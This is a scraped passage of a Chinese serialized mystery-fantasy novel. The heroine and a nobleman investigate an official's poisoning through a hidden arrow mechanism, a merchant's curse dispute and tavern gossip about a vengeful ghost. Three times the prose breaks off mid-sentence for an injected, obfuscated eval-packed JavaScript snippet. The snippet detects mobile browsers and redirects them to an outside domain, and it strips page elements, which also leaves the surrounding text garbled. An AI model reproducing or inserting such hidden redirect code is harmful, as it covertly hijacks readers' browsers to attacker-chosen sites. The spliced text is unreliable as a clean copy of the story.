夜深露重,哈欠爬上脸,她松开支颐的手掩了掩,整个人便苦恼地趴到了桌上,自顾自地想着今日发生的一切,耷拉的眼皮不知不觉缓缓闭合。 “起来,干活了。” 知觉再次恢复是一道呼唤入耳。 阿旎睁开迷蒙的眼,只见火烛已经熄灭,室内一片昏暗,高大的阴影笼罩在面前,便咕哝了一句,“哎呀,天还没亮呢。” “起来。” 司空翊端详了罔若未闻的她一会儿,绕到一侧,搭上凳腿的华靴一踢,引起了杌凳轻微的摇晃,可娇小的一团一动不动,只将脸往臂弯里埋了埋,他用力一踹。 阿旎瞬间尖叫出声来,跌到了地上,随着滚到门边的圆杌,看见了外头的天光初晓,一片雪色的白。 回头看向负手傲立的始作俑者,疏淡的眉目冰冻十里,刚想捂着差点摔成几瓣的屁/股从地上爬起,司空翊从身后拿出一支箭簇扔到她面前,“对面的浮雕看见了?射中花芯。” 阿旎不明所以,只见花状的浮雕由里外两层花瓣组成,最外层的八片大花瓣宽而圆,内层的十六片小花瓣细如匙,分不清是什么品种,有种说不上来的怪异;而花芯被呈十字的纹路分成四部分,雕出正中一个凹陷微小的圆,并不好命中。 她徒手拿着箭簇用尽全力投过去,却因距离较远,力道太小,箭簇还没碰到墙壁,便扎落到了底下的雪垛里。 而还不待她尴尬,箭簇很快被捡回,近卫雨鲸又将一副弯弓递了上前。 阿旎面露难色地看了眼一旁默然的司空翊,只好继续照做,凭着记忆里见过的景象,以箭搭弓。 司空翊观察着她,虽然动作生疏,但姿势还算标准。然而这次的画面更加惨淡,只见弓弦刚刚一松,箭簇便直接掉到了地上,解开了他内心的猜疑。 “你既可于惊马之下救妇人,小小银针尚且难不倒你……” “我的银针是幻术。”阿旎窘迫地挠了挠头,警觉地瞧过四周并无除他几个近侍以外的人,低低地解释。 以前那方士倒是教过她怎么用银针当暗器防身,可是她根本没钱买,后来发觉自己一身异能,便自己琢磨着变出了银针。 “乍看有形,实则脱离凭依后便会消失。” 司空翊没有接下言,直拉起弓箭,霎时一道风声穿过,飞箭精准射中花芯,浮雕正中心的砂岩如粉尘簌簌落下,露出了一个规整幽深的圆黑洞。 阿旎惊讶得连忙从木桥跑过去查看,原来在她不小心睡着的那一时半刻里,他找到了机关。 此时拔下箭簇,圆洞后泄进一缕幽微的光,浮尘跃动,虽然蒙着一层不明的黑纱,却隐约可以看见设起灵堂的前厅。 经过一夜的变数,梁夫人形容憔悴,似乎受到了沉重的打击,正扶额靠着隐几闭目养神,来往家仆忙挂丧幡,守灵的梁小姐和刘少爷跪在灵柩前的团蒲上。 而一侧的张镇抚询问完刘管家昨日的行踪后,又问府中和梁大人最近有何异常。 阿旎喜上眉梢,刚想喊出声,转念一想又怕惊动前厅的人,霎时一止,便雀跃地朝司空翊招了招手。 圆洞窄小,只能通过一只眼睛查看,阿旎犹豫着看了看走近的司空翊,如临风玉树岿然屹立,仿佛事不关己,随即自个闭上一只眼,凑到了洞口。 “府中并没有什么异常。”刘管家摇头,可说到梁大人又叹了口气。“老爷嘛,最近从战地涌入城内的流民日益增多,救济司收容所物资有限,引起了一些混乱,老爷是寝食难安。昨日在前衙办完公后便独自出了府,也不让小厮陪同。 老爷平时办完公也会到街上走走,体察民情,但连小厮都不带这还是第一次。而且回来得也晚。平时黄昏便回,可昨日直到戌时都不见人影。 戌时二刻我在前厅看见老爷,忙命人准备膳食,但老爷称食欲不佳便没有用膳,直接回了房中。 亥时下起了大雪,我到屋里给暖炉添了些木碳,还见老爷在案前查看安置流民的方案。没想到老爷后来竟然……” 刘管家说着感伤,抬手挽袖掖了掖眼角的泪。 突然府外传来喧嚷,不多时一官兵匆匆来报:“镇上王首富带着家丁上门,说要替王小姐讨要公道。” 正说着,王首富已经带着家丁打入了府中。 “刘少轩我打死你!” 怒气冲冲的王首富手持一打狗棍,见着刘少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“王老板你这又是何必呢,你把他打死了,还连累了自身。” 张镇抚一语中的,王首富是又气又无奈,忽然眼眶便涌出泪来,一把瘫坐到了地上,“苍天啊!你为什么要这么对我,对我的宝贝闺女。” 那哀恸模样,不知道的,还以为是梁大人的什么至亲。“海云方士曾说,雯儿命中有诅,夫运不佳难遇良人,二十六之前不可嫁人,不然厄运缠身,必见血光,当初还是海云方士以心头血解咒,她才能安然无恙。可如今雯儿病痛缠身,海云方士已入仙海,刘少轩不死,我可怜的女儿可怎么办啊!” 阿旎听得心里啧啧,什么心头血,都是招摇撞骗的把戏罢了。 这会儿瞪得眼睛发酸,她疯狂眨了眨双眼又抬手揉了揉,刚想继续往里边瞅,只隐约听到刘少轩结结巴巴的一句,“海云方士……海云方士的徒弟,她可以她可以……” 便感到司空翊轻瞥来的眼神,随即他人转身踏上木桥,就往回走。 阿旎左右犹豫了一下,连忙跟上,便见侍从端着瑶盘佳肴入内,贵妃红、长生粥、金乳酥……几乎皆是她平日里见不到的稀罕物。 而司空翊在桌前坐下,安之若素。 阿旎目瞪口呆地看着,“梁大人尸骨未寒,你却在这里设席……你怎么安心?” 前厅正在举办白事,此人却在事主儿家里堂而皇之地摆起了早宴,而且还是在死者的院子中! “你不也睡得挺安心?” 阿旎被噎无语,她那种体质,在哪儿都能睡得着。 一夜未进食,又各种奔忙,这会儿已是饥肠辘辘,心想人是铁,饭是钢,他说的也有道理。 美馔飘香,她下意识猛吞唾液。 得到司空翊点头示意坐下的默允,阿旎也不客气,直接伸手抓起一个诱人的包子,狼吞虎咽地咬了两大口。 忽然有步履匆匆,一家仆跟在雨鲸身后进来。 “公子,张镇抚让我们来请这位姑娘到前厅去一趟。” 阿旎心里升起一股不详的预感,完了,这是要让她去解咒了! “窝&#!” ——我不去! 司空翊也不看她,只平淡问:“何事?” 家仆将事情经过一五一十地说了一遍,“王首富想请姑娘为王小姐解咒。 “我不去。”好不容易将包子咽下,阿旎坚决往后退了两步。 可面对她求救的眼神,司空翊不为所动,只用眼角轻轻瞥了她一下,便状似善解人意般点了点头。 “听说海云方士道法高深,想必他的徒弟也得了他的真传。” “你是故意的!” 看着他一副看好戏的神情,阿旎顿时气炸了,指着司空翊嚷嚷,差点跳上桌子。“你之前明明说跟着你就能活,可你非但不帮我,任他们将我当成刺客,还给我喂毒药,现在又把我往火坑里推。” 司空翊这才示意雨鲸先把家仆带出去。 “我为何要帮一个忽然莫名出现在我面前的人,只凭你空口的一句话?除非你有能力证明你值得。” 他慢条斯理地放下筷箸,神态悠闲地看向怒目而视的阿旎。 “你很有胆色。信口胡诌便罢了,竟还敢冒充海云方士的徒弟。” 4. 缘起南梦·肆 前厅的哀嚎声一直未有间断,阿旎裹着寒风穿过回廊,逐渐接近那慢慢变大的源头。 直到走到门口,她在门槛前停下,与门里的众人对上了视线。 刘少轩黯淡的目光瞬间亮了起来,看向她的王首富这会儿的哭声也顿止了。 阿旎不情不愿地跨进门去,刘少轩便躲着王老板从一侧连滚带爬地跑过来,拉住了她的衣摆。“救救我,你救救我……” 阿旎嫌弃地斜睨了他一眼,抽出自己的衣摆,侧身躲开。 倒是张镇抚身为一镇之长,出声缓和了这场尴尬,“阿旎姑娘,本官听闻你师父海云方士对咒术亦有造诣,可否帮本官一个忙啊?” 阿旎敛眉稍稍向后一瞥,身后走来的司空翊一言不发,只于门外站着,目光将里头的人一扫而过,便径自背过身看起了庭院里的雪景。 她微微仰起头。“我帮人是有条件的。” “什么条件?”王首富一听,眼里燃起了希冀的光,忙向她恳求。“只要能救我女儿,什么条件我都答应。” “那好。”阿旎点了点头,“你先回去,之后我会去见王小姐的。” “这……” 王首富显然没想到的阿旎的第一个条件就是让他离开,一时顿了顿。 张镇抚一看外头默然肃立的司空翊,猜到应该也是他的意思,忙帮着劝声:“王老板,你我也是老相识了,我的为人你还不清楚吗,既然阿旎姑娘答应了,我便替你做个见证,保证过后一定上门帮你解决此事。这会儿梁大人的案子还未明晰,此处还需阿旎姑娘的协助,你便先回去罢。” 没办法,现在阿旎是唯一的救命稻草,他自然不敢不从。 王首富看向态度坚决的阿旎,又看了看畏缩到阿旎身后的刘少轩,犹豫了一会儿,终是咬了咬牙,无可奈何重重怨叹了口气,带着家丁离去。 “说说吧,你昨天都做了什么好事呀?” 阿旎这会儿才看向地上如释重负的刘少轩,问。 “我什么都没做。”刘少轩慌张的双手摆了摆,哆哆嗦嗦地解释。“我当时追着你进了满堂香楼,没找着你反倒撞上了姑父,只好找了个雅间喝酒,后来喝到半夜就回了府里,我真的什么都没做。” 阿旎有些惊讶。“你昨天遇见梁大人了?” “对啊,姑父问我到酒楼做什么,我也不好说是……便说和几个朋友相约论道。” “梁大人去满堂香楼做什么?你知道吗?” “不知道,大概是约了什么人吧。不然他去满堂香楼做什么,平日里也不是铺张浪费的人,点那么多菜。” 阿旎思忖了片刻,“你没见过王小姐?一个人喝酒也能喝到半夜?” “没见过。我遇见了……一个旧识,便和他叙了叙旧。” “那你的玉佩怎么丢的?” “我不知道!”刘少轩不耐烦地吼了一句,忽然的怒意厉声响彻大厅,惊得堂内众人均吓了一跳,屋檐上的积雪滑落了下来。 司空翊冷然的余光微微向后一瞥。 “你最好如实交代,不然有你好果子吃的。”雨鲸眉头一皱,当即对着刘少轩呵斥。 梁夫人一见,连忙上前安抚。“哎呀,官爷,轩儿被人冤枉了这会儿有些着急,你说也是,任谁遇上这种事能不着急呢,您别和他一般计较。这玉佩保不齐是他一不小心在哪儿落下了,又被人捡了去。” 阿旎心里啧啧,这梁夫人倒是会见人下茶碟,欺软怕硬。说她是刺客的时候怎么没想过她是被冤枉的呢。 目光无意间扫到一直静伫一旁的梁小姐,皓颜之上峨眉淡扫,如出水芙蓉,却正用着一种平淡到冷漠的神情盯着梁夫人,手中收紧的绣帕在指尖中掐出明显的凹痕。 阿旎迟疑了一会儿,在梁小姐看过来时对她笑了笑,又向着一问三不知的刘少轩交代,“如果你之后想起什么,记得和我们说。” 随即转头让香仆给她拿了三柱香,在长明烛上点燃,朝着梁大人的牌位鞠躬,插香,又于灵前团蒲跪下叩了个头。 等到一套祭拜流程完成,她看向挂着“奠”字花圈的墙,问,“刘管家,我记得这里之前好像有扇屏风?” “是。”刘管家随着阿旎的目光看过去,点点头,“以前这里是一扇玉屏风,老爷就任南梦时他的得意门生送的,老爷一直很喜欢来着,今天为了布置老爷的灵堂就把它撤去了。” “我之前还觉得奇怪,为什么要在这里摆一扇屏风?” “前几任总督在这墙上开了一扇花窗,老爷觉得不太雅观,正巧门生送了扇屏风,便摆在了这里。后来老爷想着找个瓦匠在墙上雕副浮雕封上,不曾想花窗改动过几次,那浮雕也变得四不像,索性一直摆着了。” 原来这就是雪院里那副奇怪的砂岩浮雕的由来,可是那个小圆洞又是怎么回事?阿旎犹疑着,决定先按下不表,与刘管家告别,转身往大厅门外走。 正好张镇抚汇报笔录结束,司空翊将手里爰书合上递回去,转头看过来。 阿旎随着司空翊走到无人处,“你让我看的地方我看了。确实如刘管家所说,那原来是一扇花窗,后来让瓦匠给封上了。” “嗯。我听到了。” 阿旎微错愕了一下,这人竟然可以一心二用? 只是后来一想他是个聪明人,不然现在她也不至于被他抓到把柄,被他摆布。 狡黠地眨了眨眼,她背着一双手,脑袋往他跟前凑了凑,试探道:“现在基本可以确定,银针是从那黑洞里射出来的,是吧?” “嗯。” “有怀疑的对象了吗?” 司空翊摇头。 “看来你也不怎么样嘛。”阿旎的头顿时耷拉下来,踩着地上的雪发出咯吱咯吱的声响,小声喃喃,“真能帮我解决解咒的事吗?” “我说过,只要你所言非虚、再无欺瞒,我自然也会信守承诺,保你性命无虞。” 司空翊脚步忽然停下来,阿旎一个没注意直越过他,片刻才愣愣地停下,转头回望过去,眼里映入了他无波无澜的俊容。 “还是说,你又撒谎了?” “当然没有!”阿旎矢口。 不久前的对质还历历在目,也不知道他是如何发觉的,彼时他轻飘飘地一句断言落下,她也是这般说的“我没有”。 司空翊没有打断她,只等她一阵哽塞后,继续说下去。 “我虽然不是他的徒弟,但我说的都是真的。我曾在八岁时被他收养,受他教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751391|157631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导,也习得一些占卜之术,那心头血解咒就是骗钱的把戏。你就算把我的血抽干了,我也救不了那王小姐。” 她破罐子破摔,哀怨地蹲到地上抱紧自己,换来了司空翊须臾的沉吟后开口,“你被他收养后,又是怎么变成流民的?” 阿旎黯然的眸光沉了沉,踌躇着微微张了张嘴,却被等不急的家仆再次前来的催促打断。 “故事之后再听。按我说的做。我会帮你。” 司空翊让她按照他的吩咐办事,便驱她跟着家仆到了前厅。 可这人只说会帮她,却不说具体怎么帮她,万一……她就要被人剜心取血了! 不过如果当时不是他在场,那些人估计不会轻易放过她,王首富也不可能这么轻易妥协。 想通了这一点,阿旎连忙狗腿道:“您英明神武,我的谎在您那里全都不攻自破,我哪还敢说什么假话啊!只要您确保我的心和我的血都毫发无损,就是您让我把私钱藏哪儿都交代给您也行。” 司空翊没有理会她装模作样的讨好,抬步继续往前走,“如果你的占卜无误,银针被窃后被人安在了梁大人院中的浮雕之上,只等梁大人打开房门触发机关,便可完成凶案的闭环。然而就目前的调查显示,梁府所有人均无作案可能。” 也就是说,以盗取银针故意制造现场的人判断凶手,这条路行不通了。 “梁大人所中之毒为一香宁,毒发时间预计在戍时三更至亥时二更之间。凡中此毒者,一日内毒发身亡,但若是煎服或配之饮酒,则症发更早也更为之重,最多只需一个时辰。从库房到雪院的距离并不短,昨日到过雪院的人有洒扫家仆六人,刘管家,梁夫人及两位侍女,几人的供词皆可互相佐证。” 阿旎这才发现,司空翊带着她刻意绕远,此时他们一路走来正是从库房去往雪院的路线,期间需要经过一个小花园,汇通各处,平日来往的人众多,要避开所有人的耳目独自去安置机关并不容易。 “刘管家说梁大人因为流民之事寝食难安,甚至患上了厌食症,梁大人除了白日用了一点粥外,并未再进食,而我在满堂香楼遇见梁大人时他并无异常,刘少轩也说昨夜遇上梁大人时还有过交谈。也就是说,问题极有可能出现在满堂香楼。” 阿旎支着下巴,跟着司空翊提供的思路复盘了一遍。 “……王小姐也是在满堂香楼出事的。看来我们得去那间酒楼看看了。” 两人在午时出门,在长廊里遇见了梁小姐。 隔着几步距离,梁思思的震惊与羞涩从轻颤的眸子里传出,一瞬恍惚后,低垂下的面庞上微微透出一抹晕红。 随即她缓步走到他们面前,裣衽为礼,又退避一侧,让他们先行。 阿旎转眸看向司空翊,晴光从飞檐外斜射进来,照着他如冠玉般的面容更加神仪明秀,郎艳独绝,确实是很难不令人为之动容的绝世好颜色。 司空翊漠然自梁思思身侧而过,阿旎跟在身后,一步三回头,直到离去的梁思思已经走远,渐渐拐入院子中的月洞门,消了行迹,才收回打量的目光。 “这梁小姐好奇怪。未婚夫被人告上官府,她不怨不怒,像个没事人一样。而且我总觉她的轮廓有点熟悉……我好像在哪里见到过。” 5. 缘起南梦·伍 阿旎一路思索着,出了总督府往东市去,直到到了满堂香楼,还是没能为萦绕自己心头的疑惑找到一个答案。 想得过于入神的她落后司空翊两步,一个没注意,在门口被里头蹿出来的男人撞了个趔趄。 昨夜一场大雪过,街头巷尾皆铺起了一层厚白。 磕绊的男人脚下一滑,直接摔了一跤。 男人愤愤咒骂了句,从地上爬起,瞧见阿旎一身褴褛,更是气焰腾涨,嫌恶地啐了一口,“臭叫花子,你敢撞本大爷。”抬脚就往她身上踹。 此般动静引得前面的司空翊回头看过来,目光穿过门框,落到她与傲慢的男人之间。 阿旎没有傻站着,躲开的动作让对方愈发恼火,变本加厉。 “你怎么又来了,还撞了李二少,真是不知好歹。” 迎宾小二还是昨天那一个,还是一样的势利眼,连忙跑出来安抚男人,转而对着她数落。 阿旎自觉理亏,毕竟自己先前确实走了神,一时也不确定是不是自己撞了对方,多年流浪尘世的经验让她深谙退让避祸的道理,欠声赔了几句不是。 可对方不依不挠,似乎大有不泄火不罢休之势。 阿旎暗暗咬了咬牙,看来今天势必要挨一下,这事才能过去了。 眼看着男人粗鄙的手挥舞过来,她下意识缩头闭上眼,做好了受挨的准备,然而片刻过去,料想中的巴掌并没有落下。 “是吗?我怎么看见是这位男客撞了人?” 雨鲸挡下无礼的男人,眼里皆是不可置否。 男人与迎宾小二皆是一怔,没想到有人会替一个小乞丐出头。 小二犹豫的目光这会儿直往酒楼里的人投去,他刚才亲自招待的二人,当然知道谁才是那真正拥有话语权的主子。 只见他隽朗面容在光的映照下熠熠生辉,神情是超然物外的淡漠,却莫名透着令人胆寒的气息,让自己不寒而栗,那是比起暴发户李少爷有之过而无不及的绝对威压与矜贵。 权衡过后,小二对着男人赔笑,“诶呦李二少,这雪天路滑,您可得当心着点,昨夜刘少爷就在这里摔了一跤。” 雨鲸面庞刀削,轮廓刚毅,常年在刀光剑影下厮杀自有一身血性,不说话时显得格外阴狠,那被称作李二少的男人对上他凌厉的眸子,不由地一颤,气势瞬间就弱了下去,再也顾不得其他,拂了衣袖仓皇离去。 给司空翊引路的另一个矮瘦小二明显更为机灵,见状忙谄媚地打了几句哈哈。“误会,都是误会。雪天大寒,我给贵客安排了上好的雅间和热茶,贵客请随我来。” 阿旎甫一抬脚,被一只手臂挡在了身前。 “你还不快些离去。”迎宾小二斥说。 “我们是一起的!”阿旎瞬间瞪了那小二一下,可是她性格温软,看起来也没有什么气势。看在小二眼里也没有太多可信度。 毕竟一位风流倜傥翩翩公子,缓带轻裘,一个蓬头垢面小乞丐,粗布烂衣,怎么看都不是一路人。 直到司空翊温醇的声音朝阿旎传来,“还傻站着?”,小二还有些恍惚,也不知道这小乞丐走了什么运,竟然接二连三攀上贵人。 阿旎神气地仰起头越过小二,突然想起什么,回头又问:“昨天给我金叶子的那位大人你还记得吗?” “记得,自然记得。”迎宾小二的态度这会儿对她来了个一百八十度大转弯。 “几位说的可是……”这时另一位机灵的矮瘦小二为难地看过几人,欲言又止。 昨天的一场大雪不仅没有影响酒楼的客源,反倒因为积雪、前方驿道封路,许多往来过路的旅人不得不进城住店。 百年难得一遇的离奇大雪自然成了众人相较谈论的话题,由此还引发了一些关于灵异志怪的谈论。 这一早上矮瘦小二就听客人说了不少,其中也就包括梁大人亡故的事儿。 这会儿几人特意提及,瞬间牵动了他机警的神经。 阿旎给了对方一个坚定的眼神,点头说,“我们就要他昨个儿的包间。” 矮瘦小二面露迟疑。 雨鲸不动声色地对他露出衣领中一枚铜铁制的令牌,正是镇巡抚司的官令,又将一枚金叶子给怔住的瘦矮小二抛了过去。“一样的酒菜,一会儿送上来。” “好嘞,昨个还是我上菜招待的,您随我来。”得知是官府查案,瘦矮小二再也不敢怠慢,呲着牙连连应下,当即带着几人进了雅间。 雅间是酒楼的天字一号,位于三楼的正中央,视野开阔,左右分别是两间次一等的雅间。 此时左边的雅间里正坐着六个人,一个白发苍苍的老者,两个穿着儒衫的读书人,一中年一青年,另一个男子衣着华贵、腰饰环佩,看起来应该是过路的商人,身边带着个小厮;还有一个习惯性的摩挲着手中醒木,正是昨天那位说书先生,身份不同,这会儿却都正一齐对着老者手中的卦盘看。 “你们看昨夜这大雪,正合了这坎卦,”那老者说着摇了摇头,“必有灾祸啊!” 中年读书人似乎感触颇深,不由自主地附和点了点头,然后神神秘秘地瞧过几人,“你们听说了没?梁总督昨夜亡故了!” 青年读书人一听,轻嗤了一声,不以为意地摆摆手。“这总督府连夜挂起了白幡。这清平镇上还有谁还不知道啊。” “会不会是柳梦蒌在作祟?”那中年读书人又凑近几人低声说。 阿旎耳尖地捕捉到关键词,趴在大门边上探着脑袋听了起来,司空翊也不管她,索性就敞着大门,自顾自品起小二沏来的热茶。 可似是说到了什么禁忌话题,几人脸色大变,霎时雅间内安静下来。 唯有那商人不解,问:“柳梦蒌?” 中年读书人看了他一眼,深吸了一口气,似是下定了什么决心,才开口。 “兄台有所不知,这柳梦蒌本是我们南梦城上上任总督赵同的夫人,两人情比金坚恩爱无比,整日同食同寝,同出同入。可就在三十八年前的一个夜晚,怀孕的柳梦蒌生下一个夭折的怪胎,竟然长着两个脑袋,四只脚,赵同这才知晓她原是异人。” “有方士将她生的孽畜置于城郊的原野上用火烧,熊熊大火烧了整整三天三夜不尽。此时异人还是民间忌讳,赵同按律将柳梦蒌斩杀。柳梦蒌死前便曾发过毒誓,要赵同良缘尽、子嗣绝,而她永不入轮回,将生生世世盘桓南梦,做总督夫人。”中年读书人说到激动处,声音高扬,唾沫横飞。 “后来赵老夫人央媒婆替赵同找续弦,这姑娘还没过门就意外身亡了,一连三四个,皆是如此。只有另迎的几房妾室还算安生,可原本身体康健的赵同四十岁时却突然染病暴毙,赵老夫人盼了十几年的孙儿是一个也没生出来。” “因为柳梦蒌的毒誓?”商人问。 “正是。”中年读书人只抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751392|157631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口解渴的茶,很快又放下了茶杯,“这异人之中有一类言灵,但凡出口的话语皆可成真,发动的咒杀比起民间方士的咒术还厉害千百倍,当时柳梦蒌死时发的毒誓正是在下杀咒。” 说着,他轻叹了一口气,“因着她这一句话,后来南梦的总督基本都命途多舛。赵同的族弟赵瓒接任总督时才二十五岁,长得也是仪表堂堂,初到南梦,上门说亲的媒婆踏破了门槛,然而议亲的女子在订亲第二日不是在踏青时落水身亡,就是身染疫病。赵瓒为了不再祸连无辜女子,自此一生未娶,可是你猜怎么着?就在赵瓒四十岁那年,他在一个傍晚跌下山崖,尸骨无存。这梁总督自从就任南梦后,先是失女,如今也死了,保不齐……” 中年读书人的话没有言尽,但是所有人却都明白了,皆神色凝重、若有所思地垂眸喝茶,突然一室静默。 “那为何梁夫人至今安然无恙?”忍不住出口的阿旎打破了彼此本来陌生的界限。 几人闻声看过来,见是个妙龄少女,杏仁大般的眼睛里透着求知若渴的光,娇俏模样有些较真。 中年读书人愣了片刻,脸上有些被无知女子揭了话中漏洞的不悦,只是看见她身后的年轻公子雍容清贵、气宇不凡,颇有纵容。 他又压着愠色牵强应道:“梁大人与梁夫人在就任前本就已是夫妻,而且梁夫人八字命硬,梁大人又处处维护体贴梁夫人,还专门找无秽方士给梁夫人请了解咒符护身,柳梦蒌再霸道,也不能换了人原配!梁夫人自然无事。” “哎不是不是。”青年读书人不大认同,连摆手。“我听说啊,是梁大人已经把她休了!早在当年她害死女儿的时候两人就不和了。只是她怕回娘家丢脸,苦求梁大人许久,梁大人心软才允她继续住在梁府,两个人都分房睡好几年了。” “你听谁说的?简直胡说八道,梁大人如此贤德之人,怎么可能做出休妻的事。” “怎么不可能?那等无德女子就该趁早休了!” “许弟你莫激动,段兄说的不无道理。”见状,说书先生忙帮着劝解。“柳梦蒌不正是因为动不了梁夫人,才把梁大人拉到地底下陪她的么。” “这一码归一码……” 本来和谐的几人就这么争执了起来,阿旎无奈摇了摇头,兴致缺缺转回坐位。 司空翊端着小二刚倒的茶抬起眸看她,“怎么?觉着故事不好听了?”棕瞳清离无波,眼尾却稍稍扬了扬。 “不合理啊!”阿旎没有在意他话音里若有似无的讥诮,叹着气摇头。 “柳梦蒌既然要永生永世当总督夫人,后来又为何要害了赵同?如果是看不过赵同与妾侍恩爱,那为何要要了第二任总督的命?第二任总督本就决定了一生不娶。梁大人的部分就更不合理了,如果是我,一早就发现动不了梁夫人,想好了要让梁大人下来陪我,根本不会等到他四十。若说梁大人早就休了梁夫人,那她为何还要害梁大人?” 总之,想来想去,这故事就是哪哪都不合理。 侍茶的小二见她双手挠头,不禁笑了。 阿旎机敏地捕捉到了他的嘲意,瞪过去,小二便回说:“其实也并非为假。赵瓒的死或许是凑巧。但是……”说着他顿了一下,看了看门外。 随即见雨鲸适时地关上了门,才又压低声音朝他们说:“据我说知,梁大人和梁夫人确实貌合神离已久,而且昨个梁大人还在这里约见了一个女子。” 6. 缘起南梦·陆 阿旎瞬间来了兴趣,忙放下刚准备送进口的茶,让他具体说来听听。 “唉,我也是没想到啊。”小二叹了口气,“梁大人为官清廉,平时除了同僚间必要的宴请,基本不会来酒楼。昨个他一个人来让人要了这包间,还点了好几道大菜,我还有些意外,但一开始我也没想多,只以为是他约见了什么大人物。” 因为其中有道浑羊设,在刚出炉时食用最佳,酒楼一般都会等客人来后再上,所以他在给梁大人安排了点心茶水后,就一边在门外招呼其他上楼的客人一边注意着这里的情况。 可是过了半个时辰,梁大人约的人都没有出现,这时梁大人突然打开门来朝外头看了看。 他瞧见梁大人坐立难安,似乎有些焦急,便问要不要先上菜,可梁大人还是说再等一等。 这一等又过了两刻钟,约摸酉时五刻左右,对方出现了。 一身杏白色云锻素净淡雅,虽然并没有什么繁复精美的花纹,但流畅裙摆软光粼粼,一看便是上好的料子,再加上外头一件鹅白的轻裘,随着她步步生莲,绕是让见过不少达官贵人的小二也觉得璀璨耀目。在酒楼如海般的华灯里,似一颗珍珠。 他微一愣,没想到梁大人约的竟是这样一位女子,却不敢怠慢一丝,忙领人进了包间。 “梁大人当时一见到她,本来一直在房里踱来踱去的人突然就像着了魔一样,都不会动了,就双眼直直地盯着人看。” 说话间,酒菜也都送上来了。 首先入眼的是一对羊角,其次便是油光嫩红的羊身,透着诱人的肥美。 两个小二合力才将最大的这一道菜端放到桌子中间,其余珍馐在周围摆开,不一会儿便放满了整张桌子。 阿旎看得挪不开眼,如果凭宴席代表对一个人的重视程度的话,大抵便是如此了。 雨鲸不满地一声轻咳,才拉回了垂涎欲滴的阿旎的注意力。 她抑住唾液腺的分泌,装模作样地清了清嗓子,端着一本正经问,“那女子是什么人你知道吗?长什么样?” 小二摇了摇头,“那女子戴着纱帽,我没有看见脸。唉,本以为梁大人为人正直,没想到竟然也会……” “仅仅只是见一个人,并不能说明什么吧?” 九神洲之上并不以男子独尊,许多由女子掌权的神族大世家也不少见,受此影响,人族之中有才情的女子也可以同男子一样为官,梁大人约见其他同僚女子议事也不是没可能。 “不是小的恶意揣测,主要是……那女子身上有一股沉肌香。”小二说着,好像有什么见不得人的样子,羞愧的头连同放低的声音也低了下去。 “什么……什么香?”阿旎迷茫不解,“那怎么了?” 见小二不答,又询问地转头看向司空翊与雨鲸二人。 “那是青楼女子才会用的香料。”雨鲸答得面不改色。 阿旎一时语塞,就着茶杯怔怔饮着,听见司空翊明知答案却问:“你可知他二人缘何相见?” “小的不知道,小的在上完菜后就退出去了。一直到近戌时,我才看见二人离开。” “两人一同走的?” “不是,那女子先走的,约摸过了半刻钟左右,梁大人才从包间出来。” “梁大人走时可有异常?” “没有,”小二下意识摇头,可随后又像是突然想到什么,改口,“噢不。当时我在一楼擦桌子,抬起头正好见到他下楼,就和他问了句好,他都没注意,心不在焉的。梁大人人很友善,听见不会不应的。” “除此之外,梁大人昨日可还有见过其他人?” “其他人?哦,刘少爷昨个也来了,就梁大人夫人的侄子刘少轩。就在那女子来之前,梁大人出门张望的时候撞见了刘少爷,梁大人还关心了他几句。但刘少爷说约了朋友,很快就走了。” “你刚才说梁大人夫妻不和已久,为什么?再具体说说呗。” 阿旎不知不觉喝完了杯中的茶,径自给自己添了杯,又倒了一杯给小二,示意他坐下说。 小二被抢了茶壶,这才发现自己一时疏忽忘了工作,懊恼不已,慌忙地接下她的茶,却没敢坐下与他们同桌,只讪讪一笑。 “几位贵客是刚来南梦吧。这事在我们南梦已经不是什么秘密了。” 阿旎想了一下,点头。自己虽然来南梦半年了,但也只听闻梁夫人对出现在丈夫身边的女子极为防备,两人不和还是第一回听说。 没办法,平日里她为了生存就费了很多力气。 只听小二很快耳熟能详地说了起来,“梁夫人在未出阁时在娘家碧云乡有个初恋,对方是个一穷二白的,听说父母都是药农,在山野开了一家药庐为生,两个人不知怎的走到了一起还瞒着家里私定了终身。 可梁夫人家毕竟是碧云乡的大户人家,两人后来当然是被棒打鸳鸯了。” 梁夫人对嫁给梁大人一直颇有怨言,平日里不但作威作福,还找过年轻小倌,但梁大人对她一直很纵容。 十年前的上元节,梁夫人带着女儿到街上看灯会,没曾想,女儿不见了,梁府人找了整整一天一夜都没找着人,第三天早晨却在星梦河里发现了一个八岁女童。 可那条河就在七柳街不远,梁夫人说她发现女儿不见时几步路的地方,所有人却像瞎了眼一样一直没看见。 那孩子也是惨啊,不仅在冬天的河水里泡了那么久,而且一张脸全花了,好像是被铁水烟火什么的给炸到的。 总之女儿夭折后,二人悲痛欲绝,梁夫人倒是不再去那烟花柳巷之地,开始安分守己,与梁大人相敬如宾的过日子了,但是两人就是再无个一儿半女。 “不少人都说是柳梦蒌在作祟,但我觉得啊,八成是因为她之前多次引产伤了身体。” 阿旎一边听着,一边却神游到了别处,视线不由自主地落到那道浑羊设上,又移不开了。 “此事可有真凭实据?”司空翊问。 